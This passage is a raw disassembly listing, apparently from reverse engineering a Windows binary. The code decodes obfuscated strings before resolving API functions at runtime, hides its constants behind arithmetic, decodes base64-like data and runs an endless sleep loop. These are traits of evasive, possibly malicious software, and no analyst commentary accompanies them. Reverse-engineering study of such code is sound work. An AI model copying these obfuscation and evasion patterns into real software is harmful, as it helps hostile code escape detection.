		call	dword ptr ds:10013848h
		mov	[ebp+var_4], eax
		push	dword ptr ds:10014288h
		push	4
		push	edi
		call	dword ptr ds:10013848h
		mov	[ebp+var_8], eax


loc_41B78A:				; CODE XREF: sub_41B754+10j
		pop	edi
		leave
		retn
sub_41B754	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B78D	proc near		; CODE XREF: sub_422ED8+2p
					; sub_422ED8+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, ds:100140C8h
		add	eax, ds:10014244h
		sub	eax, 0Bh
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:10010A00h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41B7EB
		push	10015915h
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	dword ptr ds:1000D024h
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41D579
		add	esp, 18h


loc_41B7EB:				; CODE XREF: sub_41B78D+31j
		pop	edi
		leave
		retn
sub_41B78D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7EE	proc near		; CODE XREF: .data:0041A7DBp
		push	edi
		push	10015905h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014278h, eax
		test	eax, eax
		jnz	short loc_41B821
		push	100158F5h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014278h, eax


loc_41B821:				; CODE XREF: sub_41B7EE+1Aj
		push	100158E4h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:1001059Ch, eax
		push	100158D0h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:1000D044h, eax
		push	100158C1h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100137E8h, eax
		push	100158B1h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100105A0h, eax
		push	1001589Dh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:10010080h, eax
		push	10015884h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:1000D01Ch, eax
		push	1001586Dh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100137F0h, eax
		push	10015854h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:10012810h, eax
		push	10015834h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:1000DFF4h, eax
		push	10015817h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100111E0h, eax
		push	100157F9h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100109E8h, eax
		push	100157DCh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100101A8h, eax
		push	100157C6h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:100109DCh, eax
		push	100157ABh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:1000D048h, eax
		push	10015797h
		call	sub_41B08F
		add	esp, 3Ch
		push	eax
		push	dword ptr ds:10014278h
		call	dword ptr ds:100101ACh
		mov	ds:10013848h, eax
		pop	edi
		retn
sub_41B7EE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	10015CC4h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41B9F6
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41BA3E
; ---------------------------------------------------------------------------


loc_41B9F6:				; CODE XREF: .data:0041B9E4j
		push	10015C34h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41BA16
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41BA3E
; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: .data:0041BA04j
		push	10015C14h
		push	esi
		call	dword ptr ds:10013824h
		or	eax, eax
		jz	short loc_41BA36
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_41BA3E
; ---------------------------------------------------------------------------


loc_41BA36:				; CODE XREF: .data:0041BA24j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_41BA3E:				; CODE XREF: .data:0041B9F4j
					; .data:0041BA14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA45	proc near		; CODE XREF: sub_41C00F+BBp
					; sub_41C00F+110p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41BA5B:				; CODE XREF: sub_41BA45+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41BA5B
		mov	[ebp+var_4], eax
		movsx	edi, word ptr ds:100140A0h
		sub	edi, 1
		jmp	short loc_41BAE1
; ---------------------------------------------------------------------------


loc_41BA71:				; CODE XREF: sub_41BA45+9Fj
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_41BA84
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_41BA84
		cmp	al, 2Eh
		jnz	short loc_41BAA3


loc_41BA84:				; CODE XREF: sub_41BA45+32j
					; sub_41BA45+39j
		push	10015791h
		call	sub_41B08F
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	dword ptr ds:10013810h
		add	esp, 10h
		jmp	short loc_41BAD2
; ---------------------------------------------------------------------------


loc_41BAA3:				; CODE XREF: sub_41BA45+3Dj
		push	1001578Ch
		call	sub_41B08F
		push	eax
		push	ebx
		call	dword ptr ds:1000D024h
		push	10015784h
		call	sub_41B08F
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	dword ptr ds:10013810h
		add	esp, 1Ch


loc_41BAD2:				; CODE XREF: sub_41BA45+5Cj
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	dword ptr ds:1000D024h
		add	esp, 8
		inc	edi


loc_41BAE1:				; CODE XREF: sub_41BA45+2Aj
		cmp	edi, [ebp+var_4]
		jb	short loc_41BA71
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA45	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+0Ch]
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		movsx	eax, word ptr ds:10014220h
		movsx	edx, word ptr ds:100140B8h
		lea	eax, [eax+edx+0EAh]
		cmp	edi, eax
		jnz	short loc_41BB20
		push	dword ptr [ebp+1Ch]
		call	sub_421545
		pop	ecx
		xor	eax, eax
		jmp	short loc_41BB46
; ---------------------------------------------------------------------------


loc_41BB20:				; CODE XREF: .data:0041BB11j
		mov	eax, ds:1001415Ch
		add	eax, 0FBh
		add	eax, ds:10014158h
		cmp	edi, eax
		jnz	short loc_41BB41
		push	dword ptr [ebp+1Ch]
		call	sub_41D305
		pop	ecx
		xor	eax, eax
		jmp	short loc_41BB46
; ---------------------------------------------------------------------------


loc_41BB41:				; CODE XREF: .data:0041BB32j
		mov	eax, 80020003h


loc_41BB46:				; CODE XREF: .data:0041BB1Ej
					; .data:0041BB3Fj
		pop	edi
		pop	ebp
		retn	24h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4B	proc near		; CODE XREF: .data:0041E861p
					; sub_41EF87+1B8p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:10014160h
		add	eax, ds:10014118h
		sub	eax, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	esi, eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_4], eax
		mov	edi, [ebp+arg_0]
		jmp	loc_41BC74
; ---------------------------------------------------------------------------


loc_41BB7F:				; CODE XREF: sub_41BB4B+131j
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, ds:10014384h[edx]
		mov	eax, ds:100141F8h
		sub	eax, 5
		neg	eax
		cmp	esi, eax
		jz	loc_41BC73
		mov	eax, [ebp+var_8]
		or	eax, eax
		jl	loc_41BC70
		cmp	eax, 3
		jg	loc_41BC70
		jmp	dword ptr ds:10014784h[eax*4]
; ---------------------------------------------------------------------------
		inc	[ebp+var_8]
		jmp	loc_41BC70
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_C]
		movsx	ecx, word ptr ds:100140A0h
		add	ecx, ds:1001422Ch
		sub	ecx, 3
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_18], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, ds:1001417Ch
		sub	ecx, 5
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_41BC70
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_C]
		and	edx, 0Fh
		mov	ecx, ds:100140DCh
		add	ecx, 4
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_1C], eax
		mov	edx, esi
		and	edx, 3Ch
		mov	ecx, ds:100141E4h
		inc	ecx
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_1C]
		or	edx, eax
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		inc	[ebp+var_8]
		jmp	short loc_41BC70
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_C]
		and	edx, 3
		mov	ecx, ds:10014218h
		add	ecx, ds:100141B0h
		sub	ecx, 0Ah
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_D]
		mov	[eax], dl
		mov	eax, ds:10014124h
		sub	eax, 2
		mov	[ebp+var_8], eax


loc_41BC70:				; CODE XREF: sub_41BB4B+58j
					; sub_41BB4B+61j ...
		mov	[ebp+var_C], esi


loc_41BC73:				; CODE XREF: sub_41BB4B+4Dj
		inc	edi


loc_41BC74:				; CODE XREF: sub_41BB4B+2Fj
		cmp	byte ptr [edi],	0
		jz	short loc_41BC82
		cmp	ebx, [ebp+var_4]
		jb	loc_41BB7F


loc_41BC82:				; CODE XREF: sub_41BB4B+12Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_41BC8E
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_41BC9E
; ---------------------------------------------------------------------------


loc_41BC8E:				; CODE XREF: sub_41BB4B+13Aj
		mov	eax, ds:100140D0h
		add	eax, ds:100140D8h
		sub	eax, 5
		neg	eax


loc_41BC9E:				; CODE XREF: sub_41BB4B+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCA3	proc near		; CODE XREF: sub_41D305+ECp
					; sub_421545+CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	dword ptr ds:1000D000h
		mov	edi, eax
		push	0
		push	0
		mov	eax, ds:100141D0h
		add	eax, 1FFAh
		push	eax
		push	esi
		push	edi
		push	ebx
		movsx	eax, word ptr ds:100141DCh
		sub	eax, 9
		push	eax
		push	0
		call	dword ptr ds:1000D00Ch
		mov	eax, ds:100141CCh
		add	eax, ds:10014134h
		sub	eax, 5
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BCA3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	1000605Fh
		push	dword ptr fs:0
		mov	fs:0, esp
		push	1001577Ch
		call	sub_41B08F
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp-0Ah]
		push	esi
		call	dword ptr ds:10013810h
		add	esp, 10h


loc_41BD2B:				; CODE XREF: .data:0041BD4Cj
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp-0Ah]
		push	eax
		call	sub_41D579
		movsx	eax, word ptr ds:1001423Ch
		sub	eax, 5
		push	eax
		call	dword ptr ds:1001380Ch
		add	esp, 10h
		jmp	short loc_41BD2B
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD54	proc near		; CODE XREF: .data:0041AA95p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:1001422Ch
		sub	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_41BD80
; ---------------------------------------------------------------------------


loc_41BD6A:				; CODE XREF: sub_41BD54+40j
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	dword ptr ds:10011540h[eax], 0
		inc	[ebp+var_4]


loc_41BD80:				; CODE XREF: sub_41BD54+14j
		movsx	eax, word ptr ds:100140B4h
		mov	edx, ds:10014208h
		lea	eax, [eax+edx+5Ah]
		cmp	[ebp+var_4], eax
		jb	short loc_41BD6A
		push	0
		call	dword ptr ds:10010084h
		push	10014360h
		push	10015CB4h
		push	7
		push	0
		push	10015BE4h
		call	dword ptr ds:100105D4h
		mov	ebx, eax
		mov	eax, ds:100141E8h
		movsx	edx, word ptr ds:1001412Ch
		add	eax, edx
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_41BF75
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, ds:10014360h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, ds:10014224h
		movsx	edx, word ptr ds:10014190h
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	short loc_41BE07
		movsx	eax, word ptr ds:100140E4h
		sub	eax, 2
		cmp	[ebp+var_C], eax
		jnz	short loc_41BE0C


loc_41BE07:				; CODE XREF: sub_41BD54+A2j
		jmp	loc_41BF0B
; ---------------------------------------------------------------------------


loc_41BE0C:				; CODE XREF: sub_41BD54+B1j
		movsx	eax, word ptr ds:10014144h
		add	eax, ds:100140D4h
		sub	eax, 9
		mov	[ebp+var_8], eax
		jmp	loc_41BEFF
; ---------------------------------------------------------------------------


loc_41BE24:				; CODE XREF: sub_41BD54+1B1j
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:10014360h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:10014188h
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_41BEFC
		lea	eax, [ebp+var_40]
		push	eax
		push	10015CD4h
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100141B0h
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_41BEF3
		lea	eax, ds:1001435Ch
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	10015C04h
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100141ECh
		add	eax, ds:10014168h
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	short loc_41BEE1
		lea	eax, [ebp+var_48]
		push	eax
		push	10015C04h
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_424E34
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41BEE1:				; CODE XREF: sub_41BD54+168j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41BEF3:				; CODE XREF: sub_41BD54+12Fj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41BEFC:				; CODE XREF: sub_41BD54+107j
		inc	[ebp+var_8]


loc_41BEFF:				; CODE XREF: sub_41BD54+CBj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_41BE24


loc_41BF0B:				; CODE XREF: sub_41BD54:loc_41BE07j
		lea	eax, ds:10014380h
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	10015BF4h
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	10015BF4h
		push	[ebp+var_14]
		push	dword ptr ds:10014360h
		call	sub_424E34
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	ecx, ds:100141B4h
		sub	ecx, 4
		cmp	eax, ecx
		jnz	short loc_41BF75
		mov	eax, ds:10014360h
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword ptr ds:10014360h,	0


loc_41BF75:				; CODE XREF: sub_41BD54+78j
					; sub_41BD54+20Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD54	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:100140C8h
		dec	eax
		push	eax
		call	dword ptr ds:10013840h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF88	proc near		; CODE XREF: sub_41C22E+46Dp
					; sub_41C22E+489p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	dword ptr ds:1000D004h
		mov	edi, eax


loc_41BFA5:				; CODE XREF: sub_41BF88+78j
		or	edi, edi
		jnz	short loc_41BFAD
		xor	eax, eax
		jmp	short loc_41C002
; ---------------------------------------------------------------------------


loc_41BFAD:				; CODE XREF: sub_41BF88+1Fj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000EFC0h
		push	dword ptr ds:100141A4h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_4251A5
		add	esp, 0Ch
		movsx	esi, word ptr ds:100140F8h
		movsx	ebx, word ptr ds:10014160h
		lea	esi, [esi+ebx+0FFF8h]
		cmp	eax, esi
		jz	short loc_41BFF5
		mov	eax, edi
		jmp	short loc_41C002
; ---------------------------------------------------------------------------


loc_41BFF5:				; CODE XREF: sub_41BF88+67j
		push	2
		push	edi
		call	dword ptr ds:1000D004h
		mov	edi, eax
		jmp	short loc_41BFA5
; ---------------------------------------------------------------------------


loc_41C002:				; CODE XREF: sub_41BF88+23j
					; sub_41BF88+6Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BF88	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C00F	proc near		; CODE XREF: sub_41F5AB+ABp
					; sub_423202+1C3p ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:100140DCh
		inc	edi
		add	edi, ds:10014214h
		imul	edi, 3C0h
		mov	esi, ds:10014198h
		add	esi, 0EA57h
		add	edi, esi
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_425CE2
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:10014098h
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41C08C
		push	10015771h
		call	sub_41B08F
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 8
		jmp	loc_41C18C
; ---------------------------------------------------------------------------


loc_41C08C:				; CODE XREF: sub_41C00F+58j
		call	dword ptr ds:100111ECh
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:10014190h
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_41C104
		mov	eax, ds:10014170h
		add	eax, ds:10014198h
		sub	eax, 7
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_41BA45
		add	esp, 0Ch
		push	10015741h
		call	sub_41B08F
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 10h
		jmp	loc_41C18C
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C00F+9Bj
		mov	eax, ds:10014118h
		sub	eax, 6
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword ptr ds:1001433Ch
		call	sub_41BA45
		add	esp, 0Ch
		push	100156DEh
		call	sub_41B08F
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		mov	ebx, ds:100141E4h
		add	ebx, 4
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		mov	esi, ds:100141B0h
		sub	esi, 3
		sub	edi, esi
		push	edi
		push	100111F0h
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 34h


loc_41C18C:				; CODE XREF: sub_41C00F+78j
					; sub_41C00F+F0j
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		mov	eax, ds:100141B4h
		movsx	edx, word ptr ds:10014160h
		add	eax, edx
		sub	eax, 9
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		movsx	eax, word ptr ds:10014220h
		add	eax, ds:1001418Ch
		sub	eax, 8
		push	eax
		push	0
		call	dword ptr ds:1001381Ch
		push	100156C4h
		call	sub_4230FC
		add	esp, 4
		push	eax
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	dword ptr ds:10013D84h
		push	[ebp+var_EF30]
		call	dword ptr ds:10013D84h
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C00F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C22E	proc near		; CODE XREF: sub_421545+B5Fp

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_10D		= byte ptr -10Dh
var_109		= byte ptr -109h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FA		= byte ptr -0FAh
var_F8		= byte ptr -0F8h
var_F5		= byte ptr -0F5h
var_F4		= byte ptr -0F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_41D23C
		mov	eax, [ebp+arg_0]
